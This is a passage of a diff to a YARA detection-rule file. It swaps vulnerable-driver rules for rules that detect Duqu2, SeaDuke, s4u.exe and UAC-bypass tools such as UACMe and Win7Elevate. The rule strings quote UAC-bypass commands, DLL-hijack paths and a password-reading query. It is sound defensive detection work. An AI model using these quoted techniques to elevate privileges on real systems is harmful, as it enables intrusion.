-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
+		$s2 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide
+		$s3 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide
+		$s4 = "ProcessUserAccounts" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		( uint16(0)==0x5a4d and filesize <30KB and 1 of ($x*)) or ( all of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Activeclean_A903 : FILE
+rule SIGNATURE_BASE_Duqu2_Uas : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "3142d323-869f-5e25-b860-da2c34f659ce"
-		date = "2023-06-14"
+		description = "Detects Duqu2 Executable based on the specific UAs in the file"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d82f6351-fab0-5324-850f-dd40a172fceb"
+		date = "2016-07-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4350-L4370"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a903f329b70f0078197cb7683aae1bb432eaf58572fe572f7cb4bc2080042d7e"
-		logic_hash = "b79d850df65fa7a96642e4a1da2240e001c87d44d64c621c756face489c0eb6b"
-		score = 40
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_duqu2.yar#L86-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8bf27ca851c580080514dfa886c0d7c69ac114efb5dbc35ccd1e7686c3dd44b1"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "52fe506928b0262f10de31e783af8540b6a0b232b15749d647847488acd0e17a"
+		hash2 = "81cdbe905392155a1ba8b687a02e65d611b60aac938e470a76ef518e8cffd74d"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0030002e0031003000350032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006300740069007600650043006c00650061006e }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1" fullword wide
+		$x2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7xs5D9rRDFpg2g" fullword wide
+		$x3 = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)" fullword wide
+		$x4 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		( uint16(0)==0x5a4d and filesize <800KB and all of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_3FF3 : FILE
+rule SIGNATURE_BASE_Win7Elevatev2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "ce58b5cb-437a-56b2-8ccb-9399ce2ef6c3"
-		date = "2023-06-14"
+		description = "Detects Win7Elevate - Windows UAC bypass utility"
+		author = "Florian Roth (Nextron Systems)"
+		id = "af092d16-ca95-5985-822a-50457c9cbcc9"
+		date = "2015-05-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4373-L4394"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3ff39728f1c11d1108f65ec5eb3d722fd1a1279c530d79712e0d32b34880baaa"
-		hash = "86721ee8161096348ed3dbe1ccbf933ae004c315b1691745a8af4a0df9fed675"
-		logic_hash = "3035342ffaf651efc8de23d2da68540ee7d89b2bf2b5c2925094e7fe2a3f7c28"
-		score = 40
+		reference = "http://www.pretentiousname.com/misc/W7E_Source/Win7Elevate_Inject.cpp.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_uac_elevators.yar#L2-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2f5859388c6074f1a75f0c40387f30ffa50d6b87f20f518fd1af7398c95cd650"
+		score = 60
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4f53ff6a04e46eda92b403faf42219a545c06c29"
+		hash2 = "808d04c187a524db402c5b2be17ce799d2654bd1"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00340030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00340030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310030 }
+		$x1 = "This program attempts to bypass Windows 7's default UAC settings to run " wide
+		$x2 = "Win7ElevateV2\\x64\\Release\\" ascii
+		$x3 = "Run the command normally (without code injection)" wide
+		$x4 = "Inject file copy && elevate command" fullword wide
+		$x5 = "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" fullword wide
+		$x6 = "For injection, pick any unelevated Windows process with ASLR on:" fullword wide
+		$s1 = "\\cmd.exe" wide
+		$s2 = "runas" wide
+		$s3 = "explorer.exe" wide
+		$s4 = "Couldn't load kernel32.dll" wide
+		$s5 = "CRYPTBASE.dll" wide
+		$s6 = "shell32.dll" wide
+		$s7 = "ShellExecuteEx" ascii
+		$s8 = "COMCTL32.dll" ascii
+		$s9 = "ShellExecuteEx" ascii
+		$s10 = "HeapAlloc" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and (1 of ($x*) or all of ($s*))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_BDBC : FILE
-{
-	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "a101f69b-ca19-5aeb-a168-1a10dbd6ec12"
-		date = "2023-06-14"
+rule SIGNATURE_BASE_UACME_Akagi
+{
+	meta:
+		description = "Rule to detect UACMe - abusing built-in Windows AutoElevate backdoor"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7979129e-99a3-522a-8285-9061e1e2bd41"
+		date = "2015-05-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4397-L4417"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bdbceca41e576841cad2f2b38ee6dbf92fd77fbbfdfe6ecf99f0623d44ef182c"
-		logic_hash = "c4310d622e5861f4c63d9e9c39ee94acbfb35d24a91f50158f1d695d1f0cf254"
-		score = 40
+		reference = "https://github.com/hfiref0x/UACME"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_uac_elevators.yar#L35-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e10f39837a53dcc6d301d21a69fca965aeca0a07cfc832a9a0142b08d280f955"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "edd2138bbd9e76c343051c6dc898054607f2040a"
+		hash2 = "e3a919ccc2e759e618208ededa8a543954d49f8a"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00300031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00300031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300037 }
+		$x1 = "UACMe injected, Fubuki at your service." wide fullword
+		$x3 = "%temp%\\Hibiki.dll" fullword wide
+		$x4 = "[UCM] Cannot write to the target process memory." fullword wide
+		$s1 = "%systemroot%\\system32\\cmd.exe" wide
+		$s2 = "D:(A;;GA;;;WD)" wide
+		$s3 = "%systemroot%\\system32\\sysprep\\sysprep.exe" fullword wide
+		$s4 = "/c wusa %ws /extract:%%windir%%\\system32" fullword wide
+		$s5 = "Fubuki.dll" ascii fullword
+		$l1 = "ntdll.dll" ascii
+		$l2 = "Cabinet.dll" ascii
+		$l3 = "GetProcessHeap" ascii
+		$l4 = "WriteProcessMemory" ascii
+		$l5 = "ShellExecuteEx" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		(1 of ($x*)) or (3 of ($s*) and all of ($l*))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_7837 : FILE
+rule SIGNATURE_BASE_Uacelevator : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "47963173-d9a8-5a16-9959-d99e6e8920f3"
-		date = "2023-06-14"
+		description = "UACElevator bypassing UAC - file UACElevator.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "629b1a92-726d-5713-ae3d-74cc8a1e52ad"
+		date = "2015-05-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4420-L4440"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7837cb350338c4958968d06b105466da6518f5bb522a6e70e87c0cad85128408"
-		logic_hash = "0d0e3e2675e5d6b11369a388a6e7a947e603db2562aefb802c977728419bb667"
-		score = 40
+		reference = "https://github.com/MalwareTech/UACElevator"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_uac_elevators.yar#L66-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fd29d5a72d7a85b7e9565ed92b4d7a3884defba6"
+		logic_hash = "8215746b2c84a5500221580969fb2eac8ee11cbb5af4ba5bf2dbd1def65b8745"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000350036 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "\\UACElevator.pdb" ascii
+		$s1 = "%userprofile%\\Downloads\\dwmapi.dll" fullword ascii
+		$s2 = "%windir%\\system32\\dwmapi.dll" fullword ascii
+		$s3 = "Infection module: %s" fullword ascii
+		$s4 = "Could not save module to %s" fullword ascii
+		$s5 = "%s%s%p%s%ld%s%d%s" fullword ascii
+		$s6 = "Stack area around _alloca memory reserved by this function is corrupted" fullword ascii
+		$s7 = "Stack around the variable '" fullword ascii
+		$s8 = "MSVCR120D.dll" fullword wide
+		$s9 = "Address: 0x" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		uint16(0)==0x5a4d and filesize <172KB and ($x1 or 8 of ($s*))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_0B2A : FILE
+rule SIGNATURE_BASE_S4U : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "9e448b85-4455-5a80-9147-e6c83b1427aa"
-		date = "2023-06-14"
+		description = "Detects s4u executable which allows the creation of a cmd.exe with the context of any user without requiring the password. - file s4u.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0d746311-56fe-538c-946c-3a3dd1603adc"
+		date = "2015-06-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4443-L4463"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0b2ad05939b0aabbdc011082fad7960baa0c459ec16a2b29f37c1fa31795a46d"
-		logic_hash = "e4e6178a894262ed52bd5ee6e0879f54d4cb81ec467f065f0b00d34ac55064b0"
-		score = 40
-		quality = 85
+		reference = "https://github.com/aurel26/s-4-u-for-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_uac_elevators.yar#L92-L139"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cfc18f3d5306df208461459a8e667d89ce44ed77"
+		logic_hash = "b1882710f2514fb44ff01631636c0a66beef620c8bea644ebe05cd5385a9e494"
+		score = 50
+		quality = 83
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0037002e0034003000330031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0037002e0034003000330031002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$x0 = "s4u.exe Domain\\Username [Extra SID]" fullword ascii
+		$x1 = "\\Release\\s4u.pdb" ascii
+		$s0 = "CreateProcessAsUser failed (error %u)." fullword ascii
+		$s1 = "GetTokenInformation failed (error: %u)." fullword ascii
+		$s2 = "LsaLogonUser failed (error 0x%x)." fullword ascii
+		$s3 = "LsaLogonUser: OK, LogonId: 0x%x-0x%x" fullword ascii
+		$s4 = "LookupPrivilegeValue failed (error: %u)." fullword ascii
+		$s5 = "The token does not have the specified privilege (%S)." fullword ascii
+		$s6 = "Unable to parse command line." fullword ascii
+		$s7 = "Unable to find logon SID." fullword ascii
+		$s8 = "AdjustTokenPrivileges failed (error: %u)." fullword ascii
+		$s9 = "AdjustTokenPrivileges (%S): OK" fullword ascii
+		$g1 = "%systemroot%\\system32\\cmd.exe" wide
+		$g2 = "SeTcbPrivilege" wide
+		$g3 = "winsta0\\default" wide
+		$g4 = ".rsrc"
+		$g5 = "HeapAlloc"
+		$g6 = "GetCurrentProcess"
+		$g7 = "HeapFree"
+		$g8 = "GetProcessHeap"
+		$g9 = "ExpandEnvironmentStrings"
+		$g10 = "ConvertStringSidToSid"
+		$g11 = "LookupPrivilegeValue"
+		$g12 = "AllocateLocallyUniqueId"
+		$g13 = "ADVAPI32.dll"
+		$g14 = "LsaLookupAuthenticationPackage"
+		$g15 = "Secur32.dll"
+		$g16 = "MSVCR120.dll"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <60KB and (1 of ($x*) or all of ($s*) or all of ($g*))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Copyright_Advancedmalwareprotection_6F55 : FILE
+rule SIGNATURE_BASE_UACME_Akagi_2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amsdk.sys"
-		author = "Florian Roth"
-		id = "6eb82ac7-9544-5554-b7af-557dd843d29d"
-		date = "2023-06-14"
+		description = "Detects Windows User Account Control Bypass - from files Akagi32.exe, Akagi64.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1177d663-1081-5d17-9dd7-1218d95d90f7"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4466-L4485"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6f55c148bb27c14408cf0f16f344abcd63539174ac855e510a42d78cfaec451c"
-		logic_hash = "4b5b303a3311ec88e1ebad890eb08fe3af13b3c6fdd7cf88421a9f7590661832"
-		score = 40
+		reference = "https://github.com/hfiref0x/UACME"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_uac_elevators.yar#L151-L174"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f79a82d466f51c86a0e6fb89688708c35dbcc7ba8f4543e5fb7565d41dd3faab"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "caf744d38820accb48a6e50216e547ed2bb3979604416dbcfcc991ce5e18f4ca"
+		hash2 = "609e9b15114e54ffc40c05a8980cc90f436a4a77c69f3e32fe391c0b130ff1c5"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041006400760061006e0063006500640020004d0061006c0077006100720065002000500072006f00740065006300740069006f006e }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007000790072006900670068007400200032003000310038002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006400760061006e0063006500640020004d0061006c0077006100720065002000500072006f00740065006300740069006f006e }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005a0041004d002e006500780065 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200032003000310038002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "Usage: Akagi.exe [Method] [OptionalParamToExecute]" fullword wide
+		$x2 = "[UCM] Target file already exists, abort" fullword wide
+		$s1 = "MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" fullword wide
+		$s2 = "Akagi.exe" fullword wide
+		$s3 = "Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}" fullword wide
+		$s4 = "/c wusa %ws /extract:%%windir%%\\system32\\sysprep" fullword wide
+		$s5 = "/c wusa %ws /extract:%%windir%%\\system32\\migwiz" fullword wide
+		$s6 = "loadFrom=\"%systemroot%\\system32\\sysprep\\cryptbase.DLL\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		( uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 3 of ($s*))) or (6 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_EEA5 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_VULN_Printerdriver_Privesc_CVE_2021_3438_Jul21 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
-		author = "Florian Roth"
-		id = "2942b5b0-7270-5b7a-98f7-beee11e7aa57"
-		date = "2023-06-14"
+		description = "Detects affected drivers with PE timestamps older than the date of the initial report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "34cd648a-3e3f-5832-8abe-18507931eb3d"
+		date = "2021-07-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4488-L4508"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "eea53103e7a5a55dc1df79797395a2a3e96123ebd71cdd2db4b1be80e7b3f02b"
-		logic_hash = "47bcbc01fc9d12d72613093da34efd44b9d45af700a83450e36aed9fa972ae9b"
-		score = 40
+		reference = "https://labs.sentinelone.com/cve-2021-3438-16-years-in-hiding-millions-of-printers-worldwide-vulnerable/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_cve_2021_3438_printdriver.yar#L4-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b58c2623c8fb84162c1c9390d0398639061ed5b1d4a8e007685e6fabe42bde54"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		hash1 = "7cc9ba2df7b9ea6bb17ee342898edd7f54703b93b6ded6a819e83a7ee9f938b4"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200032002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$s1 = "This String is from Device Driver@@@@@ !!!" ascii
+		$s2 = "\\DosDevices\\ssportc" wide fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of ($s*) and 1613606400>=pe.timestamp
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_2D2C : FILE
+rule SIGNATURE_BASE_Seaduke_Sample : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
-		author = "Florian Roth"
-		id = "f2aefc0c-b851-5341-acee-20d02c838548"
-		date = "2023-06-14"
+		description = "SeaDuke Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "011a303b-b051-519f-9687-668c9bcd15ca"
+		date = "2015-07-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4511-L4531"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2d2c7ee9547738a8a676ab785c151e8b48ed40fe7cf6174650814c7f5f58513b"
-		logic_hash = "991c554b098cc048d925ab989b0ca3950b07fd13e75ddcc0e8d8f4e24f6e58a6"
-		score = 40
+		reference = "http://goo.gl/MJ0c2M"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_seaduke_unit42.yar#L10-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d2e570129a12a47231a1ecb8176fa88a1bf415c51dabd885c513d98b15f75d4e"
+		logic_hash = "3bec2bedaafddd17ee65747f8be773287eda784bdfa8fc11e8378737139ef94e"
+		score = 70
